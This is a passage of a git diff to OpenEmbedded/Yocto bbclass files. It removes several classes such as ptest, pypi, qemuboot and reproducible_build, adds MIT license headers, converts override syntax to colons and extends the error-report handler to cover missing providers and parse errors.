- except OSError as e:
- if e.errno == errno.ENOENT:
- pass
- except IOError as e:
- if e.errno == errno.ENOENT:
- pass
-
- # Create new manifest
- with open(pcmanifest, 'w') as f:
- for pkgname, pkgbasename, srcpath, destpath in files:
- destdir = os.path.dirname(destpath)
- bb.utils.mkdirhier(destdir)
- # Remove allarch rpm pkg if it is already existed (for
- # multilib), they're identical in theory, but sstate.bbclass
- # copies it again, so keep align with that.
- if os.path.exists(destpath) and pkgtype == 'rpm' \
- and d.getVar('PACKAGE_ARCH') == 'all':
- os.unlink(destpath)
- if (os.stat(srcpath).st_dev == os.stat(destdir).st_dev):
- # Use a hard link to save space
- os.link(srcpath, destpath)
- else:
- shutil.copyfile(srcpath, destpath)
- f.write('%s\n' % destpath)
- else:
- bb.note('Not copying packages for recipe %s' % pn)
-
-do_cleansstate[postfuncs] += "pfs_cleanpkgs"
-python pfs_cleanpkgs () {
- import errno
- for pkgclass in (d.getVar('PACKAGE_CLASSES') or '').split():
- if pkgclass.startswith('package_'):
- pkgtype = pkgclass.split('_', 1)[1]
- deploydir = d.getVar('DEPLOY_DIR_%s' % pkgtype.upper())
- prepath = deploydir + '-prediff'
- pcmanifest = os.path.join(prepath, d.expand('pkg-compare-manifest-${MULTIMACH_TARGET_SYS}-${PN}'))
- try:
- with open(pcmanifest, 'r') as f:
- for line in f:
- fn = line.rstrip()
- if fn:
- try:
- os.remove(fn)
- except OSError as e:
- if e.errno == errno.ENOENT:
- pass
- os.remove(pcmanifest)
- except IOError as e:
- if e.errno == errno.ENOENT:
- pass
-}
diff --git a/meta/classes/perlnative.bbclass b/meta/classes/perlnative.bbclass
deleted file mode 100644
index cc8de8b381..0000000000
--- a/meta/classes/perlnative.bbclass
+++ /dev/null
@@ -1,3 +0,0 @@
-EXTRANATIVEPATH += "perl-native"
-DEPENDS += "perl-native"
-OECMAKE_PERLNATIVE_DIR = "${STAGING_BINDIR_NATIVE}/perl-native"
diff --git a/meta/classes/pkgconfig.bbclass b/meta/classes/pkgconfig.bbclass
deleted file mode 100644
index ad1f84f506..0000000000
--- a/meta/classes/pkgconfig.bbclass
+++ /dev/null
@@ -1,2 +0,0 @@
-DEPENDS_prepend = "pkgconfig-native "
-
diff --git a/meta/classes/populate_sdk.bbclass b/meta/classes/populate_sdk.bbclass
deleted file mode 100644
index f64a911b72..0000000000
--- a/meta/classes/populate_sdk.bbclass
+++ /dev/null
@@ -1,7 +0,0 @@
-# The majority of populate_sdk is located in populate_sdk_base
-# This chunk simply facilitates compatibility with SDK only recipes.
-
-inherit populate_sdk_base
-
-addtask populate_sdk after do_install before do_build
-
diff --git a/meta/classes/prexport.bbclass b/meta/classes/prexport.bbclass
index 6dcf99e29f..e5098e3308 100644
--- a/meta/classes/prexport.bbclass
+++ b/meta/classes/prexport.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
PRSERV_DUMPOPT_VERSION = "${PRAUTOINX}"
PRSERV_DUMPOPT_PKGARCH = ""
PRSERV_DUMPOPT_CHECKSUM = ""
diff --git a/meta/classes/primport.bbclass b/meta/classes/primport.bbclass
index 8ed45f03f0..00924174c1 100644
--- a/meta/classes/primport.bbclass
+++ b/meta/classes/primport.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
python primport_handler () {
import bb.event
if not e.data:
diff --git a/meta/classes/ptest-gnome.bbclass b/meta/classes/ptest-gnome.bbclass
deleted file mode 100644
index 478a33474d..0000000000
--- a/meta/classes/ptest-gnome.bbclass
+++ /dev/null
@@ -1,8 +0,0 @@
-inherit ptest
-
-EXTRA_OECONF_append = " ${@bb.utils.contains('PTEST_ENABLED', '1', '--enable-installed-tests', '--disable-installed-tests', d)}"
-
-FILES_${PN}-ptest += "${libexecdir}/installed-tests/ \
- ${datadir}/installed-tests/"
-
-RDEPENDS_${PN}-ptest += "gnome-desktop-testing"
diff --git a/meta/classes/ptest.bbclass b/meta/classes/ptest.bbclass
deleted file mode 100644
index 47611edea2..0000000000
--- a/meta/classes/ptest.bbclass
+++ /dev/null
@@ -1,119 +0,0 @@
-SUMMARY_${PN}-ptest ?= "${SUMMARY} - Package test files"
-DESCRIPTION_${PN}-ptest ?= "${DESCRIPTION} \
-This package contains a test directory ${PTEST_PATH} for package test purposes."
-
-PTEST_PATH ?= "${libdir}/${BPN}/ptest"
-PTEST_BUILD_HOST_FILES ?= "Makefile"
-PTEST_BUILD_HOST_PATTERN ?= ""
-
-FILES_${PN}-ptest += "${PTEST_PATH}"
-SECTION_${PN}-ptest = "devel"
-ALLOW_EMPTY_${PN}-ptest = "1"
-PTEST_ENABLED = "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', '1', '0', d)}"
-PTEST_ENABLED_class-native = ""
-PTEST_ENABLED_class-nativesdk = ""
-PTEST_ENABLED_class-cross-canadian = ""
-RDEPENDS_${PN}-ptest += "${PN}"
-RDEPENDS_${PN}-ptest_class-native = ""
-RDEPENDS_${PN}-ptest_class-nativesdk = ""
-RRECOMMENDS_${PN}-ptest += "ptest-runner"
-
-PACKAGES =+ "${@bb.utils.contains('PTEST_ENABLED', '1', '${PN}-ptest', '', d)}"
-
-do_configure_ptest() {
- :
-}
-
-do_configure_ptest_base() {
- do_configure_ptest
-}
-
-do_compile_ptest() {
- :
-}
-
-do_compile_ptest_base() {
- do_compile_ptest
-}
-
-do_install_ptest() {
- :
-}
-
-do_install_ptest_base() {
- if [ -f ${WORKDIR}/run-ptest ]; then
- install -D ${WORKDIR}/run-ptest ${D}${PTEST_PATH}/run-ptest
- fi
- if grep -q install-ptest: Makefile; then
- oe_runmake DESTDIR=${D}${PTEST_PATH} install-ptest
- fi
- do_install_ptest
- chown -R root:root ${D}${PTEST_PATH}
-
- # Strip build host paths from any installed Makefile
- for filename in ${PTEST_BUILD_HOST_FILES}; do
- for installed_ptest_file in $(find ${D}${PTEST_PATH} -type f -name $filename); do
- bbnote "Stripping host paths from: $installed_ptest_file"
- sed -e 's#${HOSTTOOLS_DIR}/*##g' \
- -e 's#${WORKDIR}/*=#.=#g' \
- -e 's#${WORKDIR}/*##g' \
- -i $installed_ptest_file
- if [ -n "${PTEST_BUILD_HOST_PATTERN}" ]; then
- sed -E '/${PTEST_BUILD_HOST_PATTERN}/d' \
- -i $installed_ptest_file
- fi
- done
- done
-}
-
-PTEST_BINDIR_PKGD_PATH = "${PKGD}${PTEST_PATH}/bin"
-
-# This function needs to run after apply_update_alternative_renames because the
-# aforementioned function will update the ALTERNATIVE_LINK_NAME flag. Append is
-# used here to make this function to run as late as possible.
-PACKAGE_PREPROCESS_FUNCS_append = "${@bb.utils.contains('PTEST_BINDIR', '1', \
- bb.utils.contains('PTEST_ENABLED', '1', ' ptest_update_alternatives', '', d), '', d)}"
-
-python ptest_update_alternatives() {
- """
- This function will generate the symlinks in the PTEST_BINDIR_PKGD_PATH
- to match the renamed binaries by update-alternatives.
- """
-
- if not bb.data.inherits_class('update-alternatives', d) \
- or not update_alternatives_enabled(d):
- return
-
- bb.note("Generating symlinks for ptest")
- bin_paths = { d.getVar("bindir"), d.getVar("base_bindir"),
- d.getVar("sbindir"), d.getVar("base_sbindir") }
- ptest_bindir = d.getVar("PTEST_BINDIR_PKGD_PATH")
- os.mkdir(ptest_bindir)
- for pkg in (d.getVar('PACKAGES') or "").split():
- alternatives = update_alternatives_alt_targets(d, pkg)
- for alt_name, alt_link, alt_target, _ in alternatives:
- # Some alternatives are for man pages,
- # check if the alternative is in PATH
- if os.path.dirname(alt_link) in bin_paths:
- os.symlink(alt_target, os.path.join(ptest_bindir, alt_name))
-}
-
-do_configure_ptest_base[dirs] = "${B}"
-do_compile_ptest_base[dirs] = "${B}"
-do_install_ptest_base[dirs] = "${B}"
-do_install_ptest_base[cleandirs] = "${D}${PTEST_PATH}"
-
-addtask configure_ptest_base after do_configure before do_compile
-addtask compile_ptest_base after do_compile before do_install
-addtask install_ptest_base after do_install before do_package do_populate_sysroot
-
-python () {
- if not bb.data.inherits_class('native', d) and not bb.data.inherits_class('cross', d):
- d.setVarFlag('do_install_ptest_base', 'fakeroot', '1')
- d.setVarFlag('do_install_ptest_base', 'umask', '022')
-
- # Remove all '*ptest_base' tasks when ptest is not enabled
- if not(d.getVar('PTEST_ENABLED') == "1"):
- for i in ['do_configure_ptest_base', 'do_compile_ptest_base', 'do_install_ptest_base']:
- bb.build.deltask(i, d)
-}
diff --git a/meta/classes/pypi.bbclass b/meta/classes/pypi.bbclass
deleted file mode 100644
index 87b4c85fc0..0000000000
--- a/meta/classes/pypi.bbclass
+++ /dev/null
@@ -1,26 +0,0 @@
-def pypi_package(d):
- bpn = d.getVar('BPN')
- if bpn.startswith('python-'):
- return bpn[7:]
- elif bpn.startswith('python3-'):
- return bpn[8:]
- return bpn
-
-PYPI_PACKAGE ?= "${@pypi_package(d)}"
-PYPI_PACKAGE_EXT ?= "tar.gz"
-
-def pypi_src_uri(d):
- package = d.getVar('PYPI_PACKAGE')
- package_ext = d.getVar('PYPI_PACKAGE_EXT')
- pv = d.getVar('PV')
- return 'https://files.pythonhosted.org/packages/source/%s/%s/%s-%s.%s' % (package[0], package, package, pv, package_ext)
-
-PYPI_SRC_URI ?= "${@pypi_src_uri(d)}"
-
-HOMEPAGE ?= "https://pypi.python.org/pypi/${PYPI_PACKAGE}/"
-SECTION = "devel/python"
-SRC_URI += "${PYPI_SRC_URI}"
-S = "${WORKDIR}/${PYPI_PACKAGE}-${PV}"
-
-UPSTREAM_CHECK_URI ?= "https://pypi.org/project/${PYPI_PACKAGE}/"
-UPSTREAM_CHECK_REGEX ?= "/${PYPI_PACKAGE}/(?P<pver>(\d+[\.\-_]*)+)/"
diff --git a/meta/classes/python3-dir.bbclass b/meta/classes/python3-dir.bbclass
deleted file mode 100644
index 036d7140d9..0000000000
--- a/meta/classes/python3-dir.bbclass
+++ /dev/null
@@ -1,5 +0,0 @@
-PYTHON_BASEVERSION = "3.8"
-PYTHON_ABI = ""
-PYTHON_DIR = "python${PYTHON_BASEVERSION}"
-PYTHON_PN = "python3"
-PYTHON_SITEPACKAGES_DIR = "${libdir}/${PYTHON_DIR}/site-packages"
diff --git a/meta/classes/qemuboot.bbclass b/meta/classes/qemuboot.bbclass
deleted file mode 100644
index 4162c4e790..0000000000
--- a/meta/classes/qemuboot.bbclass
+++ /dev/null
@@ -1,142 +0,0 @@
-# Help runqemu boot target board, "QB" means Qemu Boot, the following
-# vars can be set in conf files, such as <bsp.conf> to make it can be
-# boot by runqemu:
-#
-# QB_SYSTEM_NAME: qemu name, e.g., "qemu-system-i386"
-#
-# QB_OPT_APPEND: options to append to qemu, e.g., "-device usb-mouse"
-#
-# QB_DEFAULT_KERNEL: default kernel to boot, e.g., "bzImage"
-#
-# QB_DEFAULT_FSTYPE: default FSTYPE to boot, e.g., "ext4"
-#
-# QB_MEM: memory, e.g., "-m 512"
-#
-# QB_MACHINE: qemu machine, e.g., "-machine virt"
-#
-# QB_CPU: qemu cpu, e.g., "-cpu qemu32"
-#
-# QB_CPU_KVM: the similar to QB_CPU, but used when kvm, e.g., '-cpu kvm64',
-# set it when support kvm.
-#
-# QB_KERNEL_CMDLINE_APPEND: options to append to kernel's -append
-# option, e.g., "console=ttyS0 console=tty"
-#
-# QB_DTB: qemu dtb name
-#
-# QB_AUDIO_DRV: qemu audio driver, e.g., "alsa", set it when support audio
-#
-# QB_AUDIO_OPT: qemu audio option, e.g., "-soundhw ac97,es1370", used
-# when QB_AUDIO_DRV is set.
-#
-# QB_KERNEL_ROOT: kernel's root, e.g., /dev/vda
-#
-# QB_NETWORK_DEVICE: network device, e.g., "-device virtio-net-pci,netdev=net0,mac=@MAC@",
-# it needs work with QB_TAP_OPT and QB_SLIRP_OPT.
-# Note, runqemu will replace @MAC@ with a predefined mac, you can set
-# a custom one, but that may cause conflicts when multiple qemus are
-# running on the same host.
-# Note: If more than one interface of type -device virtio-net-device gets added,
-# QB_NETWORK_DEVICE_prepend might be used, since Qemu enumerates the eth*
-# devices in reverse order to -device arguments.
-#
-# QB_TAP_OPT: netowrk option for 'tap' mode, e.g.,
-# "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
-# Note, runqemu will replace "@TAP@" with the one which is used, such as tap0, tap1 ...
-#
-# QB_SLIRP_OPT: network option for SLIRP mode, e.g., -netdev user,id=net0"
-#
-# QB_CMDLINE_IP_SLIRP: If QB_NETWORK_DEVICE adds more than one network interface to qemu, usually the
-# ip= kernel comand line argument needs to be changed accordingly. Details are documented
-# in the kernel docuemntation https://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt
-# Example to configure only the first interface: "ip=eth0:dhcp"
-# QB_CMDLINE_IP_TAP: This parameter is similar to the QB_CMDLINE_IP_SLIRP parameter. Since the tap interface requires
-# static IP configuration @CLIENT@ and @GATEWAY@ place holders are replaced by the IP and the gateway
-# address of the qemu guest by runqemu.
-# Example: "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0::eth0"
-#
-# QB_ROOTFS_OPT: used as rootfs, e.g.,
-# "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
-# Note, runqemu will replace "@ROOTFS@" with the one which is used, such as core-image-minimal-qemuarm64.ext4.
-#
-# QB_SERIAL_OPT: serial port, e.g., "-serial mon:stdio"
-#
-# QB_TCPSERIAL_OPT: tcp serial port option, e.g.,
-# " -device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
-# Note, runqemu will replace "@PORT@" with the port number which is used.
-#
-# QB_ROOTFS_EXTRA_OPT: extra options to be appended to the rootfs device in case there is none specified by QB_ROOTFS_OPT.
-# Can be used to automatically determine the image from the other variables
-# but define things link 'bootindex' when booting from EFI or 'readonly' when using squashfs
-# without the need to specify a dedicated qemu configuration
-# Usage:
-# IMAGE_CLASSES += "qemuboot"
-# See "runqemu help" for more info
-
-QB_MEM ?= "-m 256"
-QB_SERIAL_OPT ?= "-serial mon:stdio -serial null"
-QB_DEFAULT_KERNEL ?= "${KERNEL_IMAGETYPE}"
-QB_DEFAULT_FSTYPE ?= "ext4"
-QB_OPT_APPEND ?= ""
-QB_NETWORK_DEVICE ?= "-device virtio-net-pci,netdev=net0,mac=@MAC@"
-QB_CMDLINE_IP_SLIRP ?= "ip=dhcp"
-QB_CMDLINE_IP_TAP ?= "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0"
-QB_ROOTFS_EXTRA_OPT ?= ""
-
-# This should be kept align with ROOT_VM
-QB_DRIVE_TYPE ?= "/dev/sd"
-
-# Create qemuboot.conf
-addtask do_write_qemuboot_conf after do_rootfs before do_image
-
-def qemuboot_vars(d):
- build_vars = ['MACHINE', 'TUNE_ARCH', 'DEPLOY_DIR_IMAGE',
- 'KERNEL_IMAGETYPE', 'IMAGE_NAME', 'IMAGE_LINK_NAME',
- 'STAGING_DIR_NATIVE', 'STAGING_BINDIR_NATIVE',
- 'STAGING_DIR_HOST']
- return build_vars + [k for k in d.keys() if k.startswith('QB_')]
-
-do_write_qemuboot_conf[vardeps] += "${@' '.join(qemuboot_vars(d))}"
-do_write_qemuboot_conf[vardepsexclude] += "TOPDIR"
-python do_write_qemuboot_conf() {
- import configparser
-
- qemuboot = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_NAME'))
- qemuboot_link = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_LINK_NAME'))
- finalpath = d.getVar("DEPLOY_DIR_IMAGE")
- topdir = d.getVar('TOPDIR')
- cf = configparser.ConfigParser()
- cf.add_section('config_bsp')
- for k in sorted(qemuboot_vars(d)):
- # qemu-helper-native sysroot is not removed by rm_work and
- # contains all tools required by runqemu
- if k == 'STAGING_BINDIR_NATIVE':
- val = os.path.join(d.getVar('BASE_WORKDIR'), d.getVar('BUILD_SYS'),
- 'qemu-helper-native/1.0-r1/recipe-sysroot-native/usr/bin/')
- else:
- val = d.getVar(k)
- # we only want to write out relative paths so that we can relocate images
- # and still run them
- if val.startswith(topdir):
- val = os.path.relpath(val, finalpath)
- cf.set('config_bsp', k, '%s' % val)
-
- # QB_DEFAULT_KERNEL's value of KERNEL_IMAGETYPE is the name of a symlink
- # to the kernel file, which hinders relocatability of the qb conf.
- # Read the link and replace it with the full filename of the target.
- kernel_link = os.path.join(d.getVar('DEPLOY_DIR_IMAGE'), d.getVar('QB_DEFAULT_KERNEL'))
- kernel = os.path.realpath(kernel_link)
- # we only want to write out relative paths so that we can relocate images
- # and still run them
- kernel = os.path.relpath(kernel, finalpath)
- cf.set('config_bsp', 'QB_DEFAULT_KERNEL', kernel)
-
- bb.utils.mkdirhier(os.path.dirname(qemuboot))
- with open(qemuboot, 'w') as f:
- cf.write(f)
-
- if qemuboot_link != qemuboot:
- if os.path.lexists(qemuboot_link):
- os.remove(qemuboot_link)
- os.symlink(os.path.basename(qemuboot), qemuboot_link)
-}
diff --git a/meta/classes/recipe_sanity.bbclass b/meta/classes/recipe_sanity.bbclass
index 7fa4a849ea..a5cc4315fb 100644
--- a/meta/classes/recipe_sanity.bbclass
+++ b/meta/classes/recipe_sanity.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
def __note(msg, d):
bb.note("%s: recipe_sanity: %s" % (d.getVar("P"), msg))
@@ -10,7 +16,7 @@ def bad_runtime_vars(cfgdata, d):
for var in d.getVar("__recipe_sanity_badruntimevars").split():
val = d.getVar(var, False)
if val and val != cfgdata.get(var):
- __note("%s should be %s_${PN}" % (var, var), d)
+ __note("%s should be %s:${PN}" % (var, var), d)
__recipe_sanity_reqvars = "DESCRIPTION"
__recipe_sanity_reqdiffvars = ""
diff --git a/meta/classes/relative_symlinks.bbclass b/meta/classes/relative_symlinks.bbclass
index 3157737347..9ee20e0d09 100644
--- a/meta/classes/relative_symlinks.bbclass
+++ b/meta/classes/relative_symlinks.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
do_install[postfuncs] += "install_relative_symlinks"
python install_relative_symlinks () {
diff --git a/meta/classes/relocatable.bbclass b/meta/classes/relocatable.bbclass
index af04be5cca..d0a623fb0a 100644
--- a/meta/classes/relocatable.bbclass
+++ b/meta/classes/relocatable.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit chrpath
SYSROOT_PREPROCESS_FUNCS += "relocatable_binaries_preprocess relocatable_native_pcfiles"
diff --git a/meta/classes/remove-libtool.bbclass b/meta/classes/remove-libtool.bbclass
index 3fd0cd58f9..8e987388c8 100644
--- a/meta/classes/remove-libtool.bbclass
+++ b/meta/classes/remove-libtool.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This class removes libtool .la files after do_install
REMOVE_LIBTOOL_LA ?= "1"
diff --git a/meta/classes/report-error.bbclass b/meta/classes/report-error.bbclass
index 1a12db1206..1452513a66 100644
--- a/meta/classes/report-error.bbclass
+++ b/meta/classes/report-error.bbclass
@@ -4,7 +4,8 @@
# Copyright (C) 2013 Intel Corporation
# Author: Andreea Brandusa Proca <andreea.b.proca@intel.com>
#
-# Licensed under the MIT license, see COPYING.MIT for details
+# SPDX-License-Identifier: MIT
+#
ERR_REPORT_DIR ?= "${LOG_DIR}/error-report"
@@ -38,6 +39,19 @@ def get_conf_data(e, filename):
jsonstring=jsonstring + line
return jsonstring
+def get_common_data(e):
+ data = {}
+ data['machine'] = e.data.getVar("MACHINE")
+ data['build_sys'] = e.data.getVar("BUILD_SYS")
+ data['distro'] = e.data.getVar("DISTRO")
+ data['target_sys'] = e.data.getVar("TARGET_SYS")
+ data['branch_commit'] = str(oe.buildcfg.detect_branch(e.data)) + ": " + str(oe.buildcfg.detect_revision(e.data))
+ data['bitbake_version'] = e.data.getVar("BB_VERSION")
+ data['layer_version'] = get_layers_branch_rev(e.data)
+ data['local_conf'] = get_conf_data(e, 'local.conf')
+ data['auto_conf'] = get_conf_data(e, 'auto.conf')
+ return data
+
python errorreport_handler () {
import json
import codecs
@@ -55,17 +69,10 @@ python errorreport_handler () {
if isinstance(e, bb.event.BuildStarted):
bb.utils.mkdirhier(logpath)
data = {}
- machine = e.data.getVar("MACHINE")
- data['machine'] = machine
- data['build_sys'] = e.data.getVar("BUILD_SYS")
+ data = get_common_data(e)
data['nativelsb'] = nativelsb()
- data['distro'] = e.data.getVar("DISTRO")
- data['target_sys'] = e.data.getVar("TARGET_SYS")
data['failures'] = []
data['component'] = " ".join(e.getPkgs())
- data['branch_commit'] = str(base_detect_branch(e.data)) + ": " + str(base_detect_revision(e.data))
- data['local_conf'] = get_conf_data(e, 'local.conf')
- data['auto_conf'] = get_conf_data(e, 'auto.conf')
lock = bb.utils.lockfile(datafile + '.lock')
errorreport_savedata(e, data, "error-report.txt")
bb.utils.unlockfile(lock)
@@ -104,6 +111,37 @@ python errorreport_handler () {
errorreport_savedata(e, jsondata, "error-report.txt")
bb.utils.unlockfile(lock)
+ elif isinstance(e, bb.event.NoProvider):
+ bb.utils.mkdirhier(logpath)
+ data = {}
+ data = get_common_data(e)
+ data['nativelsb'] = nativelsb()
+ data['failures'] = []
+ data['component'] = str(e._item)
+ taskdata={}
+ taskdata['log'] = str(e)
+ taskdata['package'] = str(e._item)
+ taskdata['task'] = "Nothing provides " + "'" + str(e._item) + "'"
+ data['failures'].append(taskdata)
+ lock = bb.utils.lockfile(datafile + '.lock')
+ errorreport_savedata(e, data, "error-report.txt")
+ bb.utils.unlockfile(lock)
+
+ elif isinstance(e, bb.event.ParseError):
+ bb.utils.mkdirhier(logpath)
+ data = {}
+ data = get_common_data(e)
+ data['nativelsb'] = nativelsb()
+ data['failures'] = []
+ data['component'] = "parse"
+ taskdata={}
+ taskdata['log'] = str(e._msg)
+ taskdata['task'] = str(e._msg)
+ data['failures'].append(taskdata)
+ lock = bb.utils.lockfile(datafile + '.lock')
+ errorreport_savedata(e, data, "error-report.txt")
+ bb.utils.unlockfile(lock)
+
elif isinstance(e, bb.event.BuildCompleted):
lock = bb.utils.lockfile(datafile + '.lock')
jsondata = json.loads(errorreport_getdata(e))
@@ -117,4 +155,4 @@ python errorreport_handler () {
}
addhandler errorreport_handler
-errorreport_handler[eventmask] = "bb.event.BuildStarted bb.event.BuildCompleted bb.build.TaskFailed"
+errorreport_handler[eventmask] = "bb.event.BuildStarted bb.event.BuildCompleted bb.build.TaskFailed bb.event.NoProvider bb.event.ParseError"
diff --git a/meta/classes/reproducible_build.bbclass b/meta/classes/reproducible_build.bbclass
deleted file mode 100644
index 2f3bd90b07..0000000000
--- a/meta/classes/reproducible_build.bbclass
+++ /dev/null
@@ -1,118 +0,0 @@
-# reproducible_build.bbclass
-#
-# Sets SOURCE_DATE_EPOCH in each component's build environment.
-# Upstream components (generally) respect this environment variable,
-# using it in place of the "current" date and time.
-# See https://reproducible-builds.org/specs/source-date-epoch/
-#
-# After sources are unpacked but before they are patched, we set a reproducible value for SOURCE_DATE_EPOCH.
-# This value should be reproducible for anyone who builds the same revision from the same sources.
-#
-# There are 4 ways we determine SOURCE_DATE_EPOCH:
-#
-# 1. Use the value from __source_date_epoch.txt file if this file exists.
-# This file was most likely created in the previous build by one of the following methods 2,3,4.
-# Alternatively, it can be provided by a recipe via SRC_URI.
-#
-# If the file does not exist:
-#
-# 2. If there is a git checkout, use the last git commit timestamp.
-# Git does not preserve file timestamps on checkout.
-#
-# 3. Use the mtime of "known" files such as NEWS, CHANGLELOG, ...
-# This works for well-kept repositories distributed via tarball.
-#
-# 4. Use the modification time of the youngest file in the source tree, if there is one.
-# This will be the newest file from the distribution tarball, if any.
-#
-# 5. Fall back to a fixed timestamp.
-#
-# Once the value of SOURCE_DATE_EPOCH is determined, it is stored in the recipe's SDE_FILE.
-# If none of these mechanisms are suitable, replace the do_deploy_source_date_epoch task
-# with recipe-specific functionality to write the appropriate SOURCE_DATE_EPOCH into the SDE_FILE.
-#
-# If this file is found by other tasks, the value is exported in the SOURCE_DATE_EPOCH variable.
-# SOURCE_DATE_EPOCH is set for all tasks that might use it (do_configure, do_compile, do_package, ...)
-
-BUILD_REPRODUCIBLE_BINARIES ??= '1'
-inherit ${@oe.utils.ifelse(d.getVar('BUILD_REPRODUCIBLE_BINARIES') == '1', 'reproducible_build_simple', '')}
-
-SDE_DIR ="${WORKDIR}/source-date-epoch"
-SDE_FILE = "${SDE_DIR}/__source_date_epoch.txt"
-SDE_DEPLOYDIR = "${WORKDIR}/deploy-source-date-epoch"
-
-SSTATETASKS += "do_deploy_source_date_epoch"
-
-do_deploy_source_date_epoch () {
- mkdir -p ${SDE_DEPLOYDIR}
- if [ -e ${SDE_FILE} ]; then
- echo "Deploying SDE from ${SDE_FILE} -> ${SDE_DEPLOYDIR}."
- cp -p ${SDE_FILE} ${SDE_DEPLOYDIR}/__source_date_epoch.txt
- else
- echo "${SDE_FILE} not found!"
- fi
-}
-
-python do_deploy_source_date_epoch_setscene () {
- sstate_setscene(d)
- bb.utils.mkdirhier(d.getVar('SDE_DIR'))
- sde_file = os.path.join(d.getVar('SDE_DEPLOYDIR'), '__source_date_epoch.txt')
- if os.path.exists(sde_file):
- target = d.getVar('SDE_FILE')
- bb.debug(1, "Moving setscene SDE file %s -> %s" % (sde_file, target))
- os.rename(sde_file, target)
- else:
- bb.debug(1, "%s not found!" % sde_file)
-}
-
-do_deploy_source_date_epoch[dirs] = "${SDE_DEPLOYDIR}"
-do_deploy_source_date_epoch[sstate-plaindirs] = "${SDE_DEPLOYDIR}"
-addtask do_deploy_source_date_epoch_setscene
-addtask do_deploy_source_date_epoch before do_configure after do_patch
-
-python create_source_date_epoch_stamp() {
- import oe.reproducible
-
- epochfile = d.getVar('SDE_FILE')
- # If it exists we need to regenerate as the sources may have changed
- if os.path.isfile(epochfile):
- bb.debug(1, "Deleting existing SOURCE_DATE_EPOCH from: %s" % epochfile)
- os.remove(epochfile)
-
- source_date_epoch = oe.reproducible.get_source_date_epoch(d, d.getVar('S'))
-
- bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
- bb.utils.mkdirhier(d.getVar('SDE_DIR'))
- with open(epochfile, 'w') as f:
- f.write(str(source_date_epoch))
-}
-
-def get_source_date_epoch_value(d):
- cached = d.getVar('__CACHED_SOURCE_DATE_EPOCH')
- if cached:
- return cached
-
- epochfile = d.getVar('SDE_FILE')
- source_date_epoch = 0
- if os.path.isfile(epochfile):
- with open(epochfile, 'r') as f:
- s = f.read()
- try:
- source_date_epoch = int(s)
- except ValueError:
- bb.warn("SOURCE_DATE_EPOCH value '%s' is invalid. Reverting to 0" % s)
- source_date_epoch = 0
- bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
- else:
- bb.debug(1, "Cannot find %s. SOURCE_DATE_EPOCH will default to %d" % (epochfile, source_date_epoch))
-
- d.setVar('__CACHED_SOURCE_DATE_EPOCH', str(source_date_epoch))
- return str(source_date_epoch)
-
-export SOURCE_DATE_EPOCH ?= "${@get_source_date_epoch_value(d)}"
-BB_HASHBASE_WHITELIST += "SOURCE_DATE_EPOCH"
-
-python () {
- if d.getVar('BUILD_REPRODUCIBLE_BINARIES') == '1':
- d.appendVarFlag("do_unpack", "postfuncs", " create_source_date_epoch_stamp")
-}
diff --git a/meta/classes/reproducible_build_simple.bbclass b/meta/classes/reproducible_build_simple.bbclass
deleted file mode 100644
index 393372993d..0000000000
--- a/meta/classes/reproducible_build_simple.bbclass
+++ /dev/null
@@ -1,9 +0,0 @@
-# Setup default environment for reproducible builds.
-
-BUILD_REPRODUCIBLE_BINARIES = "1"
-
-export PYTHONHASHSEED = "0"
-export PERL_HASH_SEED = "0"
-export SOURCE_DATE_EPOCH ??= "1520598896"
-
-REPRODUCIBLE_TIMESTAMP_ROOTFS ??= "1520598896"
diff --git a/meta/classes/rm_work.bbclass b/meta/classes/rm_work.bbclass
index 01c2ab1c78..52ecfafb72 100644
--- a/meta/classes/rm_work.bbclass
+++ b/meta/classes/rm_work.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# Removes source after build
#
# To use it add that line to conf/local.conf:
@@ -13,7 +19,7 @@
# Recipes can also configure which entries in their ${WORKDIR}
# are preserved besides temp, which already gets excluded by default
# because it contains logs:
-# do_install_append () {
+# do_install:append () {
# echo "bar" >${WORKDIR}/foo
# }
# RM_WORK_EXCLUDE_ITEMS += "foo"
@@ -24,9 +30,16 @@ RM_WORK_EXCLUDE_ITEMS = "temp"
BB_SCHEDULER ?= "completion"
# Run the rm_work task in the idle scheduling class
-BB_TASK_IONICE_LEVEL_task-rm_work = "3.0"
+BB_TASK_IONICE_LEVEL:task-rm_work = "3.0"
do_rm_work () {
+ # Force using the HOSTTOOLS 'rm' - otherwise the SYSROOT_NATIVE 'rm' can be selected depending on PATH
+ # Avoids race-condition accessing 'rm' when deleting WORKDIR folders at the end of this function
+ RM_BIN="$(PATH=${HOSTTOOLS_DIR} command -v rm)"
+ if [ -z "${RM_BIN}" ]; then
+ bbfatal "Binary 'rm' not found in HOSTTOOLS_DIR, cannot remove WORKDIR data."
+ fi
+
# If the recipe name is in the RM_WORK_EXCLUDE, skip the recipe.
for p in ${RM_WORK_EXCLUDE}; do
